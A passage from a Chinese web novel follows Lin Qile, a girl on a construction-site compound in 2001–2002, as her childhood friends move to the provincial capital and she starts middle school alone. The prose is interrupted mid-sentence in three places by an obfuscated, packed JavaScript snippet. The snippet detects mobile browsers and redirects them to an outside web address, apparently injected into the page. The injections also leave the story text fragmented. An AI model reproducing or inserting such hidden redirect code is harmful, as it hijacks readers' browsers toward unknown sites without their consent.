林樱桃是一个自小生活在爱里的小女孩,她坦坦荡荡,不畏惧所有的情绪表达。 “我明天早上九点就走。”蒋峤西说。 林樱桃嘴巴紧抿住。 蒋峤西说:“你想要什么,我现在去给你买。” 林樱桃摇头。 蒋峤西说:“那你想干什么呢?” 他的意思是,我都陪你。 林樱桃抱着膝盖坐在他面前,小小的蚊帐里,两个小孩离得近极了。 林樱桃问:“你想听磁带吗?” 蒋峤西没说话。 林樱桃把手里的复读机打开,拿出蒋峤西送给她的孙燕姿磁带,换上了科恩的那一盘。 蒋峤西刚拿过一只耳机来戴上,就听林樱桃又问:“你想看《米老鼠》吗?” 他言听计从,接过了林樱桃拿给他的最新一期《米老鼠》。 林樱桃拉他:“你躺下看好不好。” 他没明白为什么要躺,但还是这么做了。他枕在林樱桃有香味的枕头上,翻开手中的《米老鼠》,试着看进去。 林樱桃跪坐在床里。漫画杂志挡住了蒋峤西的视线,让蒋峤西看不见她打算干什么。 蒋峤西刚看了两行,就感觉有一双软软的小手隔着一层衣服揉在他的肚子上。 他放下眼前的《米老鼠》,猛地从床上坐起来,一把攥住林樱桃要缩回去的手。 林樱桃吓得屏住呼吸。 “樱桃,”蒋峤西说,哭笑不得,“痒。” § 就算林其乐像“催眠”小兔子一样靠揉肚皮“催眠”了蒋峤西,第二天蒋峤西还是要走。 就好比蒋峤西在群山待得再怎样轻松、快乐,他也知道自己迟早要回到省城去。他必须经历层层严苛的升学选拔,蒋峤西要想走,要想离开这与他无关的“一家三口”,他非这么做不可。 蒋峤西这一夜都没睡好,第二天一早七 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|13236597|139476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点多,他坐在书桌边看书。他在琢磨,走之前要和林其乐说些什么才好。 他还需要和很多人道别:余樵,两年的同桌;蔡方元,群山工地最能理解他处境的那个小胖子;杜尚——蒋峤西一直知道杜尚其实很不喜欢他。 蒋政进卧室来问:“你东西都收拾好了吗?” 蒋峤西一愣,点头。 蒋政瞥了一眼蒋峤西手腕上戴的那只黑色手表。 他的语气柔软了:“你叔叔今天临时有事,所以早点儿过来了。你现在去和你那些同学道个别,然后就走吧。” 现在? 林其乐家里黑着灯,怎么敲都没人开门。林电工夫妇明显是上班去了。蒋峤西转过一个路口,往余樵家走。 连余樵也不在家,余奶奶一看见蒋峤西,意外道:“哎呀!樱桃今儿个一大早,天还没亮就叫着余樵去市里了,说想给你买个什么纪念品!” 蒋峤西更意外了,问:“他们什么时候去的?” 余奶奶也记不清了,站起来要拿炸虾片给蒋峤西吃:“要不,你在这儿等等?他们说九点以前一准儿回来!” 2001年7月13日,林其乐记得清清楚楚,那是一个周五。她一大清早起床,揣着自己所有的零花钱,和余樵他们一同去了市里。林其乐希望,蒋峤西回去了省城,也不要忘记他们,不要忘记群山工地。 她和余樵几个人在庙会来来回回逛。一大早人多,人挤人的,怕她走丢了,余樵一直握着她的手。林其乐掂起脚,这家店转转,那家店瞧瞧。 蔡方元吃着手里的四个圈雪糕,说:“蒋峤西在省城什么没有啊,跑这儿能给他买什么?” 杜尚从旁边说:“买点群山特产呗!” 余樵皱着眉头跟在林其乐后面,林其乐这里也要看,那里也要逛,就这么在人群中挤来挤去。余樵突然说:“林樱桃。” “啊?”林其乐听到他的声音,回头。 余樵盯着林其乐胸口。 “你的琥珀呢?”他问。 林电工中午下班,风风火火赶回家来。他早知道隔壁蒋家的公子要转学回省城,自己女儿会难过,但已经难过了这么多天了,怎么还这么难受呢? 林其乐坐在自家的小凳子上哭,爸爸一回来,林其乐就大张着嘴,哭着走过去,扑在爸爸身上。 “琥珀丢了?”林电工听余樵几个小男孩在身边说,他伸手扶住自己女儿的头。 余樵冷静道:“估计在庙会里被谁捡走了。” 蔡方元很无奈,一头汗:“林叔叔,我们在那找了半天,人太多!地方又大,找不着!” 林电工为难道:“那琥珀那么小,确实不好找。” 杜尚看着林其乐都快哭抽抽过去了。他说:“樱桃,你别哭了……就、就是个琥珀,虽然是你大姑给你买的……咱们以后再买!” 午后,林其乐坐在自家门前的台阶上,看杜尚在小路上走来走去,表演《卖拐》:“你看,樱桃,你看,瘸了!” 其实林其乐并不想笑,但她看杜尚这么努力表演滑稽的样子,还是忍不住抹着泪笑了出来。 她哭着哭着想笑,笑着笑着又忍不住哭。她扭过头,去看隔壁家那扇门。 余奶奶说,蒋峤西七点多就离开工地了:“我想留他,结果蒋经理挺急的,就把他带走了。” 晚饭时间,人们围在电视机跟前,看新闻直播。 林其乐站在叔叔阿姨身边,听见电视机里一个白发老头宣布:“……2008 are awarded to the city of Beijing!” 余叔叔大喜过望,回头抹掉了林其乐脸蛋上还沾的眼泪:“闺女,还哭?高兴起来!” 他找出珍藏的白酒,让余樵出门买两斤酱牛肉。其他人从家里端了现成的菜来,也有没时间做饭的,去食堂买熏鱼去了。 林其乐坐在小凳子上,揉着眼睛,闷头吃熏鱼。余叔叔掰了块馒头给她,说:“工地这几个闺女小子,到08年,正好考大学是吧?” 蔡经理拿筷子夹酱牛肉,几个孩子碗里一人夹上一片:“都去北京,考北大清华!” 2001年发生了许多大事,有开心的事,也有悲伤的事。林其乐在群山工地等了一整个暑假,也没等到蒋峤西打来的一个电话。 他似乎像所有搬走的哥哥姐姐一样,从此消失在林其乐的生活中。 九月份开学,林其乐就该上六年级了。杜尚在上学路上问:“樱桃,你不高兴吗,08年要在北京开奥运会了!” 林其乐说:“现在才01年,08年是不是也太远了……” 她现在只有十一岁。 对她来说,七年以后,那仿佛下辈子才会发生的事。 “好像是远了一点,”杜尚嘟囔,“樱桃,你还因为蒋峤西的事难过啊?” 林其乐摇摇头。 “他都不给你打电话!”杜尚义愤填膺,“亏你还成天记得他!” 蔡方元告诉林其乐,他爸爸把所有的“齐鲁软件”都卖了,只留了一百股,说是留个纪念:“为你留的。” “‘齐鲁软件’是什么?”林其乐不解地问。 “‘齐鲁软件’,就是‘泰山旅游’啊,”蔡方元说,“变名字了!” 林其乐过了好一会儿才问:“股票的名字也可以变吗?” 蔡方元不以为意:“这有什么不能变的,想变就变了呗!” 19. 第 19 章 没有什么是不能变的。林樱桃从小戴到大的琥珀丢了,她伤心了很长时间,但慢慢地,她也开始变得习惯。 大人们说,2001年太不平凡。尤其是下半年。开学仅仅十天,就发生了一件令林樱桃如何都理解不了的灾难。有大人感慨:“炸我们大使馆,撞我们飞机,原来这个美国人自己也会被撞,也会被炸的啊?” 若论国际形势,林樱桃听不懂,她看到电视机屏幕里浓烟滚滚,大人们似乎在说,这个世界,弱肉强食,今天美国不被炸,明天受欺负的还是我们。 很危险,事实上,这世界上每个人都不安全。 “爸爸,双子塔是什么?” 林电工说:“就是……美国的东方明珠?” “就像群百大楼吗?”林樱桃问,她没见过东方明珠。 林电工苦笑道:“算是吧。” 美国是一个大而遥远的概念,在很长一段时间里,它给林其乐的印象就像是《哈利·波特》里的“伏地魔”。“美国”所代表的一切都是强大的,优越的,却也是邪恶的,是不可战胜的。 杜尚看着电视新闻直哭,死了好几千人,一个又一个人影从浓烟滚滚的大楼上跳下去,这件事令杜尚怕得发抖。 蔡方元则目瞪口呆,他瞧着世贸大厦熊熊燃烧,然后轰然倒塌。他张着嘴:“哇,和拍电影似的。” 余樵站在他们四个人中间,眉头微蹙。“美国空军不是世界第一吗?”他小声道。 林其乐给蒋峤西省城的家打电话,她想告诉他,不要去美国,美国现在有恐怖分子,死了好多好多人。 可电话嘟嘟嘟了一阵,仍是没人接听。 林其乐放下电话听筒,被妈妈叫去吃饭了。 九月中旬,余班长和林电工开车带厂区里的孩子去市里玩。 “樱桃,”余班长的大手摸在林其乐脑袋上,他们爷俩一大一小两个脑袋,贴在珠宝专柜的玻璃前,看那一个个琥珀吊坠的价格标签,余班长说,“你看看,想要哪一个啊,叔叔给你买!” 林樱桃看了一圈,小声说:“我哪个都不喜欢……” 余班长眉头一皱,笑了,回头看站在他们身后的林电工。 林电工把闺女搂过来,低头道:“曾经沧海难为水!是不是啊樱桃。” 一群小朋友,一起去吃肯德基,又到游戏厅消磨时光。秦野云想去化妆品专柜看大人用的口红,林其乐却想去音像店看新出的专辑。两个小女孩,谁也不相让。 最后余叔叔带着余樵,陪秦野云去看化妆品,林电工带着杜尚和蔡方元,陪林樱桃来到音像店门口。 店门口贴了一张新人男歌手的海报,他最近出了专辑,戴着帽子,是个十分阴郁的模样。 林其乐站在那海报前,仰着头呆呆望着。 杜尚瞧林其乐那眼神,说:“这人长得真不……他有我好看吗?” 林其乐转头和爸爸说:“爸爸,我想买……” 当天夜里,林其乐趴在自己挂了蚊帐的小床上。没有别的人,只有她自己。她没有听科恩,也没有听孙燕姿,她在听这个看起来很不开心,似乎和她一样有着许多忧愁心事的男歌手的歌。 杜尚第一次看到周杰伦的海报就觉得超级不顺眼。 林其乐上着课,偷偷听周杰伦的歌还不算,居然还在竖起来的课本后面,紧抿着嘴,默默无语流下两行清泪。 “有这么好听吗?”杜尚很费解。 林其乐一脸悲壮,像电视剧里的女主角,郑重其事在数学演草本上抄写周杰伦创作的歌词:只剩下钢琴陪我弹了一天…… 杜尚故作轻松道:“要不你别老听了,你借我听听?” 把这盘叫做《范特西》的林其乐最心爱磁带借给杜尚的直接后果是,几天后,杜尚突然放弃了一年半来对咏春拳的学习,自己找了根跳绳组装一下,开始研习双节棍的打法。 国庆黄金周,蔡方元和他妈妈去省城了。回来以后,他专门跑到林其乐家,给叔叔阿姨提了一些省城特产,然后他偷偷告诉林其乐:“我去找蒋峤西了。” 林其乐迟钝道:“啊?” “他家没人,”蔡方元压低声音,“我听说,他现在每天都上奥数班,他爸妈给他报了好几个,从早学到晚,你说吓不吓人啊!” 国庆黄金周的最后一晚,林其乐想,蒋峤西还在学习吗? 他还在写奥数题?他坐在哪里写呢。报了好几个奥数班,从早学到晚,真有人这么学习,却从不会头疼吗。 他……林其乐想,也从来没有想我吗? 林其乐拿起听筒,下意识就拨蒋峤西省城家里的电话号码。刚拨出去,窗外忽然传来一阵鞭炮声,噼里啪啦的,特别吵。 林电工从屋外兴冲冲地跑进来,他被溅了一身大红色的炮仗纸:“樱桃!娟子!走走走!” 屋外鞭炮声不仅没停止,反而愈演愈烈了,此起彼伏,炸得脚下地板都在震颤。 妈妈在后院洗着衣服,跑出来问:“怎么啦?” 林电工喜不自胜,一脸是笑:“那个,国足出线了啊!” 妈妈原本还有点惊慌,听了这话,翻了个白眼,要回去继续洗衣服了。 林电工说:“樱桃,走,娟子,走啊!蔡经理在外面放烟花!” 林其乐放下没人接的电话。她走出去了,沿着屋前的小路,握紧爸爸妈妈的手。工地宿舍的大街上到处是走出了家门拿着啤酒瓶子庆贺的人,到处是口哨尖叫和大笑。国足出线了,杜尚和蔡方元捂紧了耳朵,余樵从蔡叔叔手里接过一根烟头,懒懒走过去,点着了引线就跑。 之后那几天,整个群山工地都像是过年。所有人都开心。 十月,APEC会议在上海举行。十二月,中国加入了世界贸易组织。大人们在反复提起一些词汇,像是“国运”,像是“腾飞”。 蔡叔叔在酒席上的声音听起来既欣慰,又羡慕。他喝得微醺了,感慨道:“你们这一代小孩子啊,真是赶上好时候了!” 蔡方元把手伸在饭桌底下玩游戏机,林其乐坐他旁边。听到蔡经理这话,两个小孩面面相觑。 谁都听不懂大人在说什么。林其乐小声催促他:“你接着玩啊。” 这是他们唯一关心的。 2002年初,林其乐在群山工地过年。她也开始每一天都开心了。 工地小卖部的秦叔叔现在恢复得十分好,不靠拐杖,也能慢吞吞走路了。 “樱桃,买什么啊?”他问。 “秦叔叔,你现在腿一点儿都不疼了吗?”林其乐问,她把钱拿出来,是妈妈给她买醋的钱。 “不疼啦,”秦叔叔笑着,从货架上拿醋瓶子给林其乐,这时他突然问,“樱桃啊,叔叔问你个事情好不好。” “什么?”林其乐听着。 秦叔叔犹豫道:“你爸妈……给你定下什么时候转学了吗?” 林其乐不明白,她问:“转学?” 秦叔叔说:“我听说蔡经理和余班长家的孩子都已经定下来了。我现在也不是公司的职工了,怕转学晚了,跟不上大部队,把野云的学习耽误了……” 林其乐拿着醋瓶子回家,还没进家门的时候,她听到爸爸妈妈在里面争吵。 “要是工地最后还是把你单留在这里,樱桃怎么办?你再去和领导说说啊!” 大年初四那天,群山市下雪了。 林其乐和余樵他们在一起堆雪人,她用戴着手套的手团起雪球来,回击余樵砸在她身上的雪块。 余樵用沾满冰雪的手指使劲儿捏了捏林其乐的脸颊,又冷又疼,林其乐被他捏得呲牙咧嘴。 “我爸让你初中来我家住,”余樵居高临下看她,“你来不来啊?” 林其乐也要去抓他的脸,余樵往后一闪就躲开了。 大人们无论做出什么样的决定,孩子似乎都只有接受结果的份儿。 不过总有例外。 大年初五,杜尚用他自制的双节棍,把他爸杜永春揍进了医院。 这件事轰动了整个群山项目部。 杜尚妈妈过去一直犹豫,既拿不定主意离婚,又对丈夫的脾性毫无办法。蔡经理和余班长赶到职工医院的时候,听见眼窝青紫的小杜尚和他妈妈正小声商量:“你想离就离,不想离就不离……反正以后他再打你,我就打他!我不怕他。” 2002年三月份,中能电厂小学刚开学没多久,蔡方元就把他课桌抽屉里的书都装进了书包。他要转学去省城了。 放学时候,电厂小学“小四|人帮”走在路上,慢慢回家。 杜尚和蔡方元有一句没一句地说话,林其乐低头看自己的鞋,一路上也不吭声。 “林其乐,”几个人在工人俱乐部前分开的时候,蔡方元忽然说,“你怎么也不和我说话。” 林其乐这时才抬起眼来。她今天分外安静,摇头。 “你看你那眼,”蔡方元一脸怪笑,又是要嘲笑林其乐的样子了,“红得和兔子似的。” 杜尚在旁边劝:“樱桃,又不是以后都见不到了——” “你才是兔子呢……”林其乐没忍住,一下子就哭了。她双手拽着书包肩带,走过去抬腿就踹了蔡方元一脚。 蔡方元刚才在笑,这会儿挨了林其乐一脚,还笑。 “你哭什么啊!”蔡方元喊,有点手足无措了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|13236598|139476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >四月,林其乐在家里吹生日蜡烛。她满十二岁了。 余班长咬了一口林其乐分给他的蛋糕,说:“闺女,初中到省城来,上叔叔家住吧?” 余樵的妈妈也说:“家里两个男孩,快烦死了,樱桃来陪阿姨解解闷!啊?” 大人们都在起哄,林电工笑着问:“樱桃,想不想去啊?” “我不……”林其乐黏在爸爸妈妈身边,撒娇似的讲。 余家人多,搬家都要分成两拨。余奶奶四月十六号就走了,同去的还有邹阿姨,以及小表弟余锦。家里就剩下了余樵父子俩,他们便干脆到林电工家来蹭饭。 入夜,余樵坐在林其乐的小床边,翻林其乐床头那本《怪盗圣少女》漫画。 “这到底有什么好看的?”他不明白林其乐怎么这么爱看漫画书。 林其乐嘴里塞满了虾条,说:“你懂什么啊,比你那体育报纸好看多了!” 余樵扭过头来瞧她,见林其乐嘴巴里鼓鼓的。 在他跟前,她一直都“很不像个女孩儿”。 “你多大了,还想要黏着你爸妈多久?”余樵问。 林其乐一愣,咽下虾条:“怎么了?” “你爸妈其实想让你去省城,你知道吗。”余樵说。 林其乐沉默了会儿。 “可我想和爸爸妈妈在一起。”她说。 余樵在夜色中出了林其乐的家门。林其乐追出来,想说再见。“余樵!”她喊。余樵头也没回,手举起来摆了摆,权当道别。 六月份,中能电厂小学六年级的学生正为毕业考试紧张地准备着。 杜尚告诉林其乐,他爸和他妈去省城办离婚了。 林其乐坐在包裹着黑色保温材料的暖气管道上,问:“为什么一定要去省城办?” 杜尚坐她身边,想了想:“因为我妈的户口在贵州,我爸的户口在省城。” 林其乐不说话了。 自从新年一过,林其乐感觉杜尚仿佛一夜长大。就像孱弱的少年一朝屠龙,终于驱散了头顶终年不散的阴云,他将要成为英雄了。 杜尚捏着手里那盘《范特西》的磁带:“我爸在省城的房子也给我和我妈了。” 林其乐“嗯”了一声。 别的朋友都不在了,只剩他们两个。连群山工地家属大院这几个月来也搬走了不少人。大人们说,这里的项目即将结束,只剩收尾工作了。 杜尚坐在林其乐身边,突然哼起了一段旋律。 林其乐听出,那是周杰伦磁带里一首歌的前奏。 杜尚嘴里絮絮叨叨唱起来了。 如果他有一双翅膀,随时出发,他就会带他的妈妈走了。 “我发现还是中国话唱起 Rap 来有意思,”杜尚摇头晃脑,对林其乐笑,“以前 H.O.T 的歌词,我都不知道是什么意思!” 林其乐又“嗯”了一声。 “杜尚,”林其乐轻声道,“这盘磁带就送给你了。” 杜尚一愣:“不,我本来想还给你——” “我又买了一盘。”林其乐说。 杜尚看她。 “蒋峤西转走的时候你哭,蔡方元转走的时候你也哭,余樵转走了你还哭,”杜尚顿了顿,笑了,“我转走你就别哭了吧。” “嗯。”林其乐点头答应他。 “那等我去了省城,我就去蒋峤西家门口替你堵他去!”杜尚说,边说边撸袖子,“我就,我就问他,你凭什么不给我们樱桃打电话?” 六月末,中能电厂小学的毕业考试结束了。 放学路上,林其乐独自一人背着小书包,往家的方向跑。 她一进门就喊:“爸爸!妈妈!我的分数够上群山一中了!” 林电工夫妇作为留守工地的最后一批人,如今的生活有太多不便。因为工人们都分调到其他工地去了,宿舍区提前开始了拆迁。 食堂关门,医院歇业。人一少,连大院外面那条街上的烟酒食肆早点摊也跟着搬的搬,拆的拆。 现在买个东西,还要专程去趟市里的商场。林爸爸听到这个喜讯,高兴得一把把樱桃抱起来了,他看着成绩单,回头说:“娟子!今晚去市里吃顿火锅吧,这得庆祝庆祝啊!” 妈妈赶忙打电话,给省城的余班长家。她对老同事兴奋道:“哎,对!能上一中了!” 林樱桃坐在镜子前,摘下皮筋,重新给自己梳头发。她把辫子扎好,虽然还有点歪歪斜斜的。她穿上夏天新买的连衣裙,蹬上红色小皮鞋就准备出门。 妈妈在后头锁门,爸爸说:“樱桃,慢点儿走!” 林樱桃在前面走得超快,给爸爸妈妈当引路先锋。 20. 第 20 章 秦野云是初中开学前搬家去省城的,她说:“林樱桃,你是我见过最幸福的小女孩。” 是这样吗?林其乐背着书包,穿群山一中的校服,坐公交车去上学。昨夜下了场冷雨,爸爸妈妈又加班不在家,林其乐走到后院,看到自己的小白兔倒在兔笼里,兔脚轻微抽搐,很快便一动不动了。 死因是什么,林其乐并不明白。就仿佛她已经不能理解现在的生活。 她本想给班主任打个电话,请一上午假,去给小兔子到山上找一块墓地埋葬。但班主任说,她从没听过如此匪夷所思的请假理由:“如果你总这样想着逃课,你就到慢班去上课吧!” 十二岁,林其乐对世界的认知还是很肤浅的,以为 Hey Jude 是孙燕姿唱的歌,而保罗·麦卡特尼的名字一次也没有听过。她所做过最可怕的噩梦,也无非是自己一个人走在工地的道路上,发现每间屋子都是空的,原来所有人都搬走了。 过去在中能电厂小学,有“小四|人帮”为林其乐打掩护,大家一起犯错,不会有什么问题。可到了群山一中,没有人再对“犯错”感兴趣。林其乐一开学就连续惹老师不高兴,她有点不受欢迎。 只有同桌耿晓青时常会同情她。这个女孩总是一边假装做题,一边对林其乐小声说:“快低下头,老师刚才看你了!” 下了课,林其乐也不再到处闲逛,不去操场上和谁打闹了。她和耿晓青,还有另一个女生戴丽欣,一起玩女生杂志上的填字游戏。 戴丽欣是耿晓青的“闺蜜”,两人自小一同长大,住同一个小区,一起升入中学。“林其乐,你都没有‘闺蜜’吗?”戴丽欣性格活泼,大大咧咧,这么问她。 闺蜜?林其乐老实回答:“没有。” 耿晓青扭头告诉戴丽欣:“樱桃以前的好朋友全是男生,他们都转学去省城了!” 戴丽欣听了这个,惊讶道:“全是男生?” 对她们来说,这显然是件非常奇怪的事。 林其乐不知怎么解释,就听戴丽欣说:“那以后我们俩就是你的‘闺蜜’了!咱们仨就是‘闺蜜’!” 耿晓青喜欢在课间十分钟,向林其乐倾诉早上出门前与爸妈闹出的不愉快。她也拉着林其乐,要林其乐讲更多男生之间的趣事给她听。 看得出,耿晓青从小到大,很少接触“男生”这一类生物。 无论蔡方元、余樵,或是杜尚——明明只是一群平凡无奇的男孩,但让林其乐天花乱坠胡乱回忆下来,似乎每个人都天赋异禀,特别好笑,像是电视剧漫画书里的人物。 特别是余樵,那个取名自“渔樵耕读”的余樵。林其乐有一次对耿晓青说:“他说他未来的太太要姓耿,或者姓杜,这样他叫余樵,就最合适了——” 林其乐说到这里,后知后觉扭过了头,她盯着耿晓青秀气的眼睛和细软的短发:“你就姓耿哦!” 耿晓青笑着,用力点了点头。 “哇!我第一次认识姓耿的女生!”林其乐惊讶道。 那天放学,耿晓青背着书包坐上公交车,和林其乐一同前往群山工地宿舍大院参观。 这片大院现在除了几排平房还住着人外,其余空荡荡,像一片废墟,连路灯也不亮了。 林其乐跑进了没有门卫的大门,站在正冲大门那条最宽的道路中央,她转身对耿晓青欢迎道:“这一条就是‘余樵街’!” 余樵街、杜尚街、蔡方元街……林其乐沿着熟悉的街名一路走回家,走到自己家那排房子前面。她踩地上的砖块,小声道:“这是蒋峤西街……” “什么?”耿晓青扭头,这是个陌生名字,没听过。 林电工夫妇一见到耿晓青,异常热情地欢迎她。林电工说,已经好长时间没有樱桃的小朋友来家里玩了:“喜欢吃什么?叔叔阿姨给你做。” 两个小女生一起吃完了晚餐,坐在床边玩芭比娃娃。耿晓青的家长打电话来林家,让耿晓青早点回去。 林其乐的妈妈给耿晓青装了一袋枣面馒头,塞进书包,因为耿晓青吃第一口就夸它甜甜的很好吃。 林妈妈笑了,她也许久没给人做过枣面馒头了。 林其乐去送同学回家。两个小女生走在傍晚的群山工地,走在林其乐的王国,那一条条被命名为“杜尚街”或是“蔡方元街”的街道上……工人俱乐部荒废已久,大门紧闭,林其乐穿着校服走上了杂草丛生的楼梯,她的眼睛贴近了门缝,往黑漆漆的俱乐部里面看了一会儿。 “有一回办新年茶话会,余樵在这俱乐部里面唱歌,”林其乐回头,对台阶下面的耿晓青说,“他唱得可难听了!就乱唱!我和杜尚把他的话筒线给拔了——” 耿晓青听着就笑,细窄的肩膀轻微耸动。 林其乐见她这么开心,也跟着笑。哪怕工地上好荒凉,连个人影都没有。 “他唱的是什么歌?”耿晓青问。 “《直到世界终结》。”林其乐说。 耿晓青说,她从小暗恋的人就是“三井寿”,正好是《直到世界终结》所唱的那个人。 “为什么?”林其乐问。 “因为我曾经做梦梦到他了,”耿晓青手扶着书包带,她看上去羞涩内向,眼神怯弱,说出的话却异常大胆坚定,“我觉得这是一种缘分。” 林其乐把她人生中第一个“闺蜜”送到了公交车站。真奇妙,林其乐想,以前和秦野云遇到一起,总忍不住要打架,但和耿晓青就不会。车还没到站的时候,耿晓青问:“蒋峤西也是一个人的名字吗?” 林其乐看到车来了,生怕司机没注意到她们,她连忙招手。黑暗中,车灯晃过来,路边只剩下林其乐自己一个人的影子了。 戴丽欣在体育课上说,她的梦中情人是“道明寺”。 学生正组成大部队,围着操场跑圈。耿晓青在队伍里对戴丽欣气喘吁吁道:“道明寺是个流氓!唯一的优点就是有钱!” “道明寺怎么就流氓了?”戴丽欣跑着步,不服气道,“他保护了杉菜好几次呢!一心一意喜欢她,这样的男人最有安全感了!” 跑完步下来,耿晓青低头系着鞋带,擦掉脖子里的细汗,走过来对林其乐说:“女生就是容易喜欢道明寺、流川枫这样的男生——长得帅,又有钱,”她嘴里嘟囔,很是瞧不起这些人的肤浅似的,“可世界上怎么会有这种男生啊,你看流川枫,他皮肤也太白了吧,每天打篮球的人,怎么会那么白呢,像三井那样才是正常的!才有可能真实存在!” 林其乐站在体育场小卖部门口,用一瓶冰镇矿泉水冰额头,她觉得她热得有点头昏。 杜尚从省城打电话来,对林其乐说,他经过了几次小考,终于跟上了省城那边的学习进度。他转进重点班了,还和蒋峤西一个班。“我怀疑我们年级是不是有一半儿女生都暗恋他啊?”杜尚不屑道。 林其乐手里握着听筒,坐在暖气片旁边,翻手里的《漫画Party》杂志。杜尚在电话里絮絮叨叨,说他和蒋峤西现在在一班,蔡方元在三班,余樵在七班,都是重点班。杜尚突然拿开电话,朝远处喊道:“余樵!你要不要和樱桃说话?” 杜尚是在校园公用电话亭里打的电话。安静了片刻,有脚步声过来了,是跑步过来的,接着是男生喘气的声音,大概课间在打篮球。 “喂?”余樵拿起电话来说。 林其乐在这边一愣。 “林樱桃?”余樵问道。 “你是谁啊?”林其乐忍不住问。 这下换余樵愣了。 他的声音如今是变了,变得低沉很多,变声期来得早,一段时间不见,听起来就陌生。 杜尚在旁边问:“怎么了?” 余樵难以置信道:“她问我是谁。” 从旁边爆发出一阵笑声,林其乐一听就知道是蔡方元那个死胖子在笑了。 余樵把听筒拿回来,贴到耳边,他想说,你连我声音都听不出来了。 还没说呢,就听到很细微的深呼吸的声音,有点颤抖的,从听筒里传出来。 以前在群山工地成天听林其乐哭,余樵早习以为常。 他不习惯的是,他听出林其乐在忍。 “余樵儿!打球儿啊!”有同学在操场大声叫他。 余樵对电话里说:“后悔了吧,让你来你不来。” 林其乐忍着哭腔:“那我爸爸妈妈自己在……” 余樵恨铁不成钢道:“你爸妈又不是小孩。” 林其乐还是舍不得离开家,舍不得离开爸爸妈妈。哪怕群山工地已经没有什么人住了。放学的时候,林其乐还是会走过一排排空荡荡的宿舍,给这片向日葵地,那片草莓田浇水。 她独自上学,独自放学,在学校的时候与耿晓青、戴丽欣说话,放学以后就待在家里,再也没有朋友会来家找她玩儿了。 杜尚他们也并不能每天都打电话来。爸爸妈妈也不再订阅《米老鼠》了,家里堆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|13236599|139476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 积的儿童杂志开始变成《漫画Party》。林其乐吃饭时看,帮妈妈盯洗衣机时看,睡了觉熄了灯,她趴在被窝里还要重温更多遍:看漫画时她总是很开心,心无旁骛。 《漫画Party》边角栏上,好几页印着小读者的自我介绍与通信地址,林其乐仔细看,发现那是交友栏目。 她飞快从床上爬起来了,拧开台灯,打开铅笔盒,摊开杂志。她把读者回执单小心翼翼地撕下来。 “我是宇宙超级无敌小飞侠林其乐,生活在风景美丽的群山市,”林其乐在灯下一个字一个字写道,“我想结交全国各地的小朋友,做好朋友——” 一个月飞快过去。林电工一天下班,把邮递员送到单位的漫画杂志带回了家,搁到女儿书桌上。 戴丽欣在课间时分吃惊地翻开漫画杂志:“林其乐!真的是你哎!真是你啊!” 林其乐目瞪口呆翻着手里一封封的信,她填写的收信地址是学校的班级邮箱,她根本没想到会真有这么多的人写信给她。 负责管理班级邮箱的是生活委员。到了隔天早晨,她又拿了满满四十多封信进来,当着全班同学的面:“林其乐,怎么这么多全是你的信啊?” 耿晓青问:“樱桃,这么多信,你全都要回啊?” 戴丽欣也嘟囔:“这要回到什么时候?” 林其乐趁着课间拆信,一不小心一张照片从里面掉出来了。林其乐捡起来看,旁边戴丽欣拍手笑道:“还有男生寄照片!” 那天回家,林其乐书包里装了一大摞信件,每一封都沉甸甸的,热情洋溢。吃饭时候,林其乐忽然问:“爸爸,你知道省城总部的邮政地址吗?” 林电工说:“知道啊,怎么了?” 林其乐犹豫了一下,说:“我想给杜尚写信!” 妈妈在旁边夹排骨给她:“打电话不就得了,写信不慢吗?” 林其乐翻开自己的日记本,有一页密密麻麻抄了许多电话号码,头一个便是蒋峤西家的。 上初中以后,林其乐断断续续又打了那个号码几次,只有一次打通了,是蒋峤西的妈妈接的。 她语气硬邦邦,冷冰冰:“峤西不在家,他学习忙,麻烦你别给他打电话了。” 接着便把电话挂断了。 这会儿,林其乐打给杜尚,问:“你有没有蒋峤西家的邮政地址?” 杜尚说:“干嘛,樱桃,你想给他写信啊?” 林其乐说:“我先问一问……” 杜尚说:“你要是寄到他家,不又被他妈看见了。” 林其乐一愣:“也是哦……” 杜尚绞尽脑汁,想了想:“要不……你寄到我们班来吧!我现在就告诉你地址——” 林其乐还经常能回想起几年前,回想起她吃着雪糕,和自己最好的伙伴一起上下学。那时候,蒋峤西总走在她身边,安静地听她说话。 她在灯光下写: 蒋峤西, 我是林其乐。 小兔子死了,你还记得它吗?它满四岁了…… 林其乐写着写着,眼前一片模糊,也不太清楚自己具体都在写什么了。她想到什么便写,写以前的回忆,写现在的生活,写她给他打了两年的电话:“你不想我吗?为什么你从不打电话给我呢?蔡方元说你在省城变得不一样了,你变成什么样子了?” 林其乐还写,她前几天在家翻旧课本,看到了那张小学时画的皱皱巴巴的“蒋莼鲈”画像。 